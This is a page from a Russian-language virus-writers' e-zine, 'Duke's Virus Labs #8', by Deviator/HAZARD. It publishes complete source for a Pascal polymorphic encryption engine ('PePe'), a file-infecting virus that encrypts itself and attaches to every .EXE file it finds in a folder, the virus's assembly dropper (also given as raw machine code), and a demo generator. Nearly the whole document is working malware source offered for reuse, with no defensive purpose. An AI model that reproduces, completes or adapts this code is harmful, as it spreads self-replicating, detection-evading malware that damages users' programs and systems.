- [Duke's Virus Labs #8] - [Page 05] - Pascal Extra Polymorphics Engine (PePe) (c) by Deviator/HAZARD Что это такое ? Это первый в мире (по моим сведениям) полиморфный генератор на паскале без ассемблерных вставок (я и с ассемблерными вставками не видел ;) Незнаю насколько мощен полиморфный алгоритм, но другого я не знаю... Это пока версия 1.0, так-что ждите новых версий. Фичи: Компилятор вообще не нужен Относительно мощный полиморфный алгоритм Двух-байтовый ключ, изменяющийся от слова к слову Неплохой мусор ;) Декриптор генерируется в виде .Exe файла ! Два Pointer'a для исходных данных для криптования (например один для Loader'a а другой для вируса. В декрипторе они будут располагатся один сразу за другим) Недостатки: Иногда глючит. (А конкретно тогда,когда мусор пытается взять слово со смещения 0FFFFh) Так как криптуется по словам (2 байта, прим.ред.:), то размер Loader'a Pascal'евского вируса должен быть кратен 2. Смотрите Pepe Virus. {-----------------------------------------------------------------------------} Name: PePe Virus Это вирус написанный с использованием PePe. Фичи: 100% полиморфный (не мутирующий) Заражает .Exe файлы независимо от аттрибутов Недостатки: В Exe Header'e в CheckSum лежит размер вируса (закриптованого) Используется загрузчик написанный на ASM'e. Он скидывает на диск, под именем Vi.Exe, паскалевский вирус, запускает его на выполнение, передавая как Paramstr(1) имя текущего файла, ну а в Paramstr(2)..Paramstr(ParamCount) передает старые параметры. Deviator/HAZARD. ===== begin pepe.pas ===== Unit PePe; { Pascal Extra Polymorphics Engine } { By Deviator/HAZARD } { Disclaimer: To understand how this stuff working, you'll need a bit asm (principles of polymorphic engines,80x86 instruction set and other stuff). If you dont know this,you can use it freely,but do not change copyright } { So i'll try to explain. In intel systems registers are followed in such way: Ax,Cx,Dx,Bx,Sp,Bp,Si,Di. Table of opcodes you can find in additional table (opcodes.txt) } {$X+} Interface Function DoPoly(SCode,SData:Pointer;SCLen,SDLen:Word;Var Dst:Pointer):Word; implementation Const DecryptorL = 16; Decryptor : Array [0..DecryptorL] of Byte = ( $E8, { Call } $58, { Pop Pointer } $81,$C0, { Add pointer } $B8, { Mov Counter } $B8, { Mov Keyword } $2E,$31, { Xor/Add/Sub... } $48, { Dec counter } $40, { Inc Pointer } $40, { Inc Pointer } $81,$C0, { Add Keyword } $0B, { Or Counter,Counter } $75, { Jne } $E9, { Jmp } $E9 { Jmp } ); Var Point,Counter,KeyWord : Byte; { Different variables } Dest:Pointer; CurDec,CurCr:Word; Prev:Byte; NKey,AKey:Word; Calls:Array [0..25] of Word; Callsn:Byte; InnerCalls:Byte; JxNum : Byte; Function GetDByte:Byte; { Get byte from decryptor table } Begin GetDByte := Decryptor[CurDec]; Inc(CurDec); End; Procedure PutByte(BB:Byte); { Store byte in destination area } Begin Mem[Seg(Dest^):Ofs(Dest^)+CurCr] := BB; Inc(CurCr); End; Procedure PutWord(BB:Word); { Store word } Begin Memw[Seg(Dest^):Ofs(Dest^)+CurCr] := BB; Inc(CurCr); Inc(CurCr); End; Procedure CopyDByte; { Copy Byte from decryptor to destination } Begin PutByte(GetDByte); End; Procedure StoreWord(What,Where:Word); { Store word at given location at destination area } Begin MemW[Seg(Dest^):Ofs(Dest^)+Where] := What; End; Procedure StoreByte(What:Byte;Where:Word); { Same To StoreWord,but for bytes } Begin Mem[Seg(Dest^):Ofs(Dest^)+Where] := What; End; {---------------------------------------------------------------} Function GReg:Byte; { Gets unused register } Var L : Byte; Begin repeat L := Random(7); until (L <> Point) and (L <> Counter) and (L <> KeyWord) and (L <> 4); GReg := L; End; Function GHigh:Byte; { Chooses register/mem for complex opcodes like Xor Ax,[Bx+Si],etc } Var B,C : Byte; Begin B := Random(255); C := (B and $38) shr 3; While (C = Point) or (C = Counter) or (C = KeyWord) or (C=4) do Begin B := Random(255); C := (B and $38) shr 3; End; GHigh := B; End; Function GetSize(G:Byte):Byte; { Gets size of opcode length, generated by GHigh } Begin GetSize := 0; If (G < $40) and ( (G and $87) = 6 ) then Begin GetSize := 2; Exit; End; If (G < $40) or (G >= $C0) then Begin GetSize := 0; Exit; End; If (G >= $40) and (G < $80) then Begin GetSize := 1; Exit; End; If (G >= $80) and (G < $C0) then Begin GetSize := 2; Exit; End; End; Function Check(Reg:Byte):Boolean; { Checks if register used } Begin Check := False; If (Reg = Point) or (Reg = Counter) or (Reg = KeyWord) or (Reg = 4) then Check := True; End; Procedure Garble(Small:Boolean); Forward; Procedure MakeOneByters; { Create onebyters } Const OneByte : Array [0..8] of Byte = ($2E,$3E,$F8,$F9,$FB,$FC,$FD,$26,$36); Begin PutByte(OneByte[Random(9)]); End; Procedure MakeImm16; { Make Mov Reg16,xxxx } Begin PutByte(GReg+$0B8); PutWord(Random($FFFF)); End; Procedure MakeIncDec; { Make Inc/Dec Reg16 } Begin If Random(2)=0 then PutByte(GReg+$40) else PutByte(GReg+$48); End; Procedure TwoThreeFour16; { Create complex opcode } Const TTF : Array [0..7] of Byte = ($03,$13,$23,$33,$0B,$1B,$2B,$3B); Var Y,B,G:Byte; Begin PutByte(TTF[Random(8)]); Y := GHigh; PutByte(Y); If GetSize(Y) <> 0 then For B := 1 to GetSize(Y) do PutByte(Random($FF)); End; Procedure XchgAx; { Create xchg ax,reg16 } Begin If Not Check(0) then PutByte(GReg+$90); End; Procedure MakeProc; { Create procedure } Var SQ,SW:Word; Begin If (Callsn < 20) and (InnerCalls<5) and (JxNum = 0) then Begin Inc(InnerCalls); { Increase number of inner calls } PutByte($E9); { Jmp Near } PutWord(0); { Store for later patch } SQ := CurCr; Garble(True); { Garble with minimum garbage } SW := CurCr; Garble(False); PutByte($C3); { Retn } Garble(True); StoreWord(CurCr-Sq,Sq-2); Calls[Callsn] := SW; { Store offset of created procedure } Inc(Callsn); Dec(InnerCalls); { Decrease number of calls } End; End; Procedure MakeCall; { Put call to procedure } Begin If Callsn > 0 then Begin PutByte($E8); { Call Near } PutWord(Calls[Random(Callsn)]-CurCr-2); { Store offset } End; End; Procedure MakeJx; { Make Jz/Jnz,ie Jxx } Var T:Word; Begin If JxNum < 2 then Begin Inc(JxNum); PutByte(Random(16)+$70); { Put random jxx } PutByte(0); T := CurCr; Garble(True); { Garble with minimum garbage } StoreByte(CurCr-T,T-1); { Patch Jxx offset } Dec(JxNum); End; End; Procedure MakeAxOp; { Make Ax-oriented opcodes } Const AxTbl : Array [0..9] of Byte = ($05,$15,$25,$35,$0D,$1D,$2D,$3D,$A9,$A1); Begin If Not Check(0) then Begin PutByte(AxTbl[Random(10)]); PutWord(Random($FFFF)); End; End; Procedure MakeInt; { Create interrupt call } Const Funcs : Array [0..4] of Byte = ($0B,$19,$4B,$54,$FF); Ints : Array [0..4] of Byte = ($21,$21,$21,$21,$12); Var Y:Byte; Begin If Not Check(0) then Begin Y := Random(5); PutByte($B4); PutByte(Funcs[Y]); PutByte($CD); PutByte(Ints[Y]); End; End; Function Think(Inn:Byte):Byte; { Simple thinking procedure which aimed to create smooth decryptors } Begin If Prev = 0 then Begin Think := 3; Exit; End; Think := Inn; End; Procedure Garble(Small:Boolean); { Garble } Var R,T,V:Byte; Begin If Not Small then R := Random(7) { If Small = True, generate minimum garbage,else generate maximum } else R := Random(3); For T := 0 to R do Begin V := Random(10); { Choose kind of opcode to create } If Prev <> Think(V) then Begin Prev := Think(V); Case Think(V) of { Think and call procedure } 0: MakeOneByters; 1: MakeImm16; 2: MakeIncDec; 3: TwoThreeFour16; 4: XchgAx; 5: MakeProc; 6: MakeCall; 7: MakeJx; 8: MakeAxOp; 9: MakeInt; End; End; End; End; Function DoPoly(SCode,SData:Pointer;SCLen,SDLen:Word;Var Dst:Pointer):Word; Var Q,M : Byte; T1,T2,T3,T4,T5,D1,D2,D3,D4:Word; CopyRight:String; Begin CopyRight:=#13#10'This is PePe engine v.1.2 '#13#10' By Deviator/HAZARD'#13#10; Dest := Dst; CurDec := 0; CurCr := 0; Callsn := 0; InnerCalls := 0; JxNum := 0; { Create Exe Header } PutWord($5A4D); { 'MZ' } PutWord(0); PutWord(0); { Exe size } PutWord(0); { Relocational items number } PutWord(2); { Header size = 32 bytes } PutWord(Random(999)+1000); PutWord(Random(999)+$7000); { Min/Max mem } PutWord(Random(40)+$1000); PutWord(Random(999)+$1000); { SS/SP } PutWord(0); { Checksum } Q := Random(32); PutWord(Q*16); PutWord(-Q); { Cs:Ip } PutWord($1C); { Relocational table offset } PutWord(0); { Overlay number } PutWord(Random($FFFF)); PutWord(Random($FFFF)); { Random stuff } { Initialise variables } Q := Random(3); Case Q of 0: Point := 3; { Bx } 1: Point := 6; { Si } 2: Point := 7; { Di } End; While (Q = Point) or (Q = 4) do Q := Random(8); Counter := Q; While (Q = Point) or (Q = Counter) or (Q = 4) do Q := Random(8); KeyWord := Q; Garble(False); CopyDByte; { Copy Call Opcode } PutWord(0); T1 := CurCr; { Store for later patch } Garble(False); StoreWord(CurCr - T1,T1-2); { Patch Call } Garble(False); PutByte(GetDByte+Point); { Pop Pointer } Garble(False); CopyDByte; PutByte(GetDByte+Point); { Add Pointer,offset Data } T2 := CurCr; PutWord(0); Garble(False); PutByte(GetDByte+Counter); { Mov Counter,Size } PutWord((SCLen+SDLen) Shr 1); Garble(False); PutByte(GetDByte+KeyWord); { Mov KeyWord,key } NKey := Random($FFFF); PutWord(NKey); Garble(False); T3 := CurCr; { Decryption Loop } Garble(False); CopyDByte; CopyDByte; M := Point; If M = 3 then M := 7 Else Dec(M,2); { Xor Cs:[Pointer],Counter } PutByte(KeyWord shl 3 + M); Garble(True); PutByte(GetDByte + Counter); { Dec Counter } Garble(True); PutByte(GetDByte + Point); { Inc Pointer } Garble(True); PutByte(GetDByte + Point); { Inc Pointer } Garble(True); CopyDByte; PutByte(GetDByte + KeyWord); { Add KeyWord,AKey } AKey := Random($FFFF); PutWord(AKey); Garble(True); CopyDByte; { Or Counter,Counter } PutByte(Counter Shl 3 + $C0 + Counter); {Garble(True);} CopyDByte; { Jne Xxx } PutByte(0); T4 := CurCr; Garble(True); CopyDByte; { Jmp AllDone } PutWord(0); T5 := CurCr; Garble(True); StoreByte(CurCr - T4,T4-1); Garble(True); CopyDByte; PutWord(T3-CurCr-2); { Jmp Decrypt } Garble(False); StoreWord(CurCr-T5,T5-2); { Patch Jmp AllDone } StoreWord(CurCr-T1,T2); { Patch Add Counter,End of Decryptor} D3 := NKey; D4 := 0; If SCLen <> 0 then { Crypt source } For D2 := 0 to (SCLen shr 1) do Begin { If size > 0 then crypt ! } PutWord(MemW[Seg(SCode^):Ofs(SCode^)+D4] xor D3); Inc(D3,AKey); Inc(D4,2); End; D4 := 0; If SDLen <> 0 then { Crypt addiotional bytes } For D2 := 0 to (SDLen shr 1) do Begin PutWord(MemW[Seg(SData^):Ofs(SData^)+D4] xor D3); Inc(D3,AKey); Inc(D4,2); End; StoreWord(CurCr div 512 + 1,4); { Patch Exe PageCnt } StoreWord(CurCr mod 512,2); { Patch Exe partial page } StoreWord(CurCr,$12); { Patch in Exe CheckSum generated length } DoPoly := CurCr; { All Done ! } End; End. ===== end pepe.pas ===== ===== begin virus.pas ===== { World First Pascal Polymorphic Virus } { By Deviator/HAZARD } { Uses ASM loader which drops pas virus and executes it } {$M $8000,$4000,$8000 } Uses Dos,PePe; Const VLen = 6553; { Our len } GMem = 10000; FName = 'Victim.Exe'; Loader : Array [0..$00000141] of Byte = ( { Our ASM loader } $E8,$00,$00,$5D,$1E,$0E,$1F,$B4,$3C,$8D, $96,$A8,$00,$33,$C9,$CD,$21,$73,$03,$E9, $91,$00,$93,$B4,$40,$8D,$96,$3F,$01,$B9, $10,$27,$CD,$21,$B4,$3E,$CD,$21,$1F,$B4, $4A,$8D,$9E,$0F,$09,$C1,$EB,$04,$43,$43, $CD,$21,$A1,$2C,$00,$1E,$8E,$C0,$33,$C0, $33,$FF,$B9,$00,$80,$F2,$AE,$AE,$75,$FB, $AF,$0E,$06,$57,$5E,$1F,$07,$8D,$BE,$BF, $00,$AC,$AA,$2E,$FE,$86,$BD,$00,$2E,$80, $BE,$BD,$00,$7F,$73,$04,$3C,$00,$75,$ED, $4F,$1F,$BE,$80,$00,$AC,$3C,$00,$74,$15, $33,$C9,$8A,$C8,$AC,$AA,$2E,$FE,$86,$BD, $00,$2E,$80,$BE,$BD,$00,$7F,$73,$02,$E2, $EF,$90,$2E,$01,$AE,$B1,$00,$2E,$8C,$8E, $B3,$00,$2E,$8C,$9E,$B7,$00,$2E,$8C,$9E, $BB,$00,$0E,$1F,$8D,$96,$A8,$00,$8D,$9E, $AF,$00,$B8,$00,$4B,$CD,$21,$B4,$4C,$CD, $21,$56,$69,$2E,$65,$78,$65,$00,$00,$00, $BD,$00,$00,$00,$5C,$00,$00,$00,$6C,$00, $00,$00,$00,$20,$00,$00,$00,$00,$00,$00, $00,$00,$00,$00,$00,$00,$00,$00,$00,$00, $00,$00,$00,$00,$00,$00,$00,$00,$00,$00, $00,$00,$00,$00,$00,$00,$00,$00,$00,$00, $00,$00,$00,$00,$00,$00,$00,$00,$00,$00, $00,$00,$00,$00,$00,$00,$00,$00,$00,$00, $00,$00,$00,$00,$00,$00,$00,$00,$00,$00, $00,$00,$00,$00,$00,$00,$00,$00,$00,$00, $00,$00,$00,$00,$00,$00,$00,$00,$00,$00, $00,$00,$00,$00,$00,$00,$00,$00,$00,$00, $00,$00,$00,$00,$00,$00,$00,$00,$00,$00, $00,$00,$00,$00,$00,$00,$00,$00,$00,$00, $00,$00,$00,$00,$00,$00,$00,$00,$00,$00, $00,$00); Var FIn,FOut : File; OurSt,Temp,Crypted : Pointer; FSearch : SearchRec; NumRead,G,NSize,L,K,H : Word; B:String; Begin B := #13#10'World First Polymorphic Pascal Virus !'#13#10+ ' Featuring PePe v.1.0 ;) - Pascal Extra Polymorphics Engine !'#13#10+ ' I was surprised, when this stuff worked...<:P'+ ' By Deviator/HAZARD'#13#10; Assign(FIn,paramstr(0)); { Read our body } Reset(FIn,1); Getmem(OurSt,VLen); Blockread(FIn,OurSt^,VLen); Close(FIn); { Erase body } Erase(FIn); Assign(Fin,paramstr(1)); { Read host body } Reset(FIn,1); { As paramstr(1) transferred from loader our real name } Seek(FIn,$12); BlockRead(FIn,G,2); Seek(FIn,G); GetMem(Temp,GMem); Assign(Fout,FName); Rewrite(Fout,1); Repeat Blockread(Fin,Temp^,GMem,NumRead); { Copy host } Blockwrite(FOut,Temp^,NumRead); Until eof(FIn); Close(FIn); Close(FOut); Freemem(Temp,GMem); B := ''; For G := 2 to ParamCount do B := B + ' ' + Paramstr(G); SwapVectors; Exec(FName, B); { Exec host } SwapVectors; Assign(Fin,FName); { Erase it ! } Erase(Fin); Getmem(Temp,GMem); GetMem(Crypted,SizeOf(Loader)+VLen+3000); { Get mem + 3000 } FindFirst('*.ExE',AnyFile,FSearch); { Find .Exe } While DosError = 0 do Begin If FSearch.Time <> 0 then Begin Assign(FIn,FSearch.Name); Rename(FIn,FName); Assign(Fout,FSearch.Name); { Open file for infection } Rewrite(FOut,1); Reset(FIn,1); NSize := DoPoly(Addr(Loader),OurSt,SizeOf(Loader)-2,VLen,Crypted); { Crypt us. Note that loader is padded for two bytes. PePe crypts two additional bytes,so just skip em } BlockWrite(FOut,Crypted^,NSize); { Write polycreated copy } Repeat Blockread(FIn,Temp^,GMem,NumRead); { Copy victim to our end } Blockwrite(FOut,Temp^,NumRead); Until eof(Fin); SetFTime(FOut,000); { Mark FIle } Close(Fin); Close(FOut); Erase(Fin); { Delete File } End; FindNext(FSearch); { Next File } end; FreeMem(Crypted,SizeOf(Loader)+VLen+3000); { Release mem } Freemem(Temp,GMem); { Thats all. So nothing is impossible ! } End. ===== end virus.pas ===== ===== begin loader.asm ===== ; Loader for Pascal Virus VirLen equ 10000 ; Virus length (not really,but no difference) .model tiny .286 .code org 100h Loader: Call GetOfs ; Get our offset GetOfs: pop bp push ds cs ; Store Ds,Ds = Cs pop ds mov ah,3ch ; Drop pascal virus body lea dx,[TstExt-GetOfs][Bp] xor cx,cx ; Create file int 21h jnc Created jmp Quit Created:xchg ax,bx ; Write body mov ah,40h lea dx,[VFile-GetOfs][Bp] mov cx,VirLen int 21h mov ah,3eh ; Close File int 21h pop ds mov ah,4Ah ; Mem resize lea bx,[VFile+2000-GetOfs][Bp] shr bx,4 inc bx inc bx int 21h mov ax,ds:[2Ch] ; Get our Param Block push ds mov es,ax xor ax,ax xor di,di mov cx,8000h FindName: repne scasb ; Find our name scasb jnz FindName scasw push cs es di pop si ds es lea di,[ComStr+2-GetOfs][Bp] ; Copy name CopyStr:lodsb stosb inc byte ptr cs:[Comstr-GetOfs][Bp] ; Increase length cmp byte ptr cs:[ComStr-GetOfs][Bp],127 ; > 127 ? jae AllCopied cmp al,0 jnz CopyStr AllCopied: dec di pop ds mov si,80h ; Copy paramstring lodsb cmp al,0 jz NoString xor cx,cx mov cl,al CopyParamStr: lodsb stosb inc byte ptr cs:[ComStr-GetOfs][Bp] cmp byte ptr cs:[ComStr-GetOfs][Bp],127 ; String length > 127 ? jae NoString loop CopyParamStr NoString: nop add cs:[P1-GetOfs][Bp],bp ; Store different params mov cs:[Seg1-GetOfs][Bp],cs ; for execution mov cs:[Seg2-GetOfs][Bp],ds mov cs:[Seg3-GetOfs][Bp],ds push cs pop ds lea dx,[TstExt-GetOfs][Bp] lea bx,[Exec-GetOfs][Bp] mov ax,4B00h ; Execute pascal virus int 21h Quit: mov ah,4ch ; Just exit int 21h TstExt db 'Vi.exe',0 Exec dw 0 P1 dw offset ComStr-GetOfs Seg1 dw ? dw 5Ch Seg2 dw ? dw 6Ch Seg3 dw ? Comstr db 0 db 20h db 128 dup (0) VFile: end Loader ===== end loader.asm ===== ===== begin demo.pas ===== { Simple program,that creates one encrypted file by PePe } Program Demo; Uses PePe; Const FF:Array [0..112] of Byte = ( { This is sample procedure } $E8,$63,$00,$54,$68,$69,$73,$20,$69,$73, $20,$66,$69,$6C,$65,$20,$65,$6E,$63,$72, $79,$70,$74,$65,$64,$20,$62,$79,$20,$50, $65,$50,$65,$20,$76,$2E,$31,$2E,$30,$20, $3B,$29,$0D,$0A,$50,$61,$73,$63,$61,$6C, $20,$45,$78,$74,$72,$61,$20,$50,$6F,$6C, $79,$6D,$6F,$72,$70,$68,$69,$63,$20,$45, $6E,$67,$69,$6E,$65,$20,$21,$0D,$0A,$42, $79,$20,$44,$65,$76,$69,$61,$74,$6F,$72, $20,$5B,$48,$41,$5A,$41,$52,$44,$5D,$0D, $0A,$24,$5A,$0E,$1F,$B4,$09,$CD,$21,$B4,$4C,$CD,$21); VAR F:File; G:Pointer; NSize : Word; Begin Randomize; { Randomize } GetMem(G,5000); { Get 5kb } NSize := DoPoly(Addr(FF),nil,SizeOf(FF)+1,0,G); { Do Poly } Assign(F,'GENPOLY.EXE'); { Save generated file } Rewrite(F,1); BlockWrite(F,G^,NSize); Close(F); FreeMem(G,5000); { Free mem } End. ===== end demo.pas =====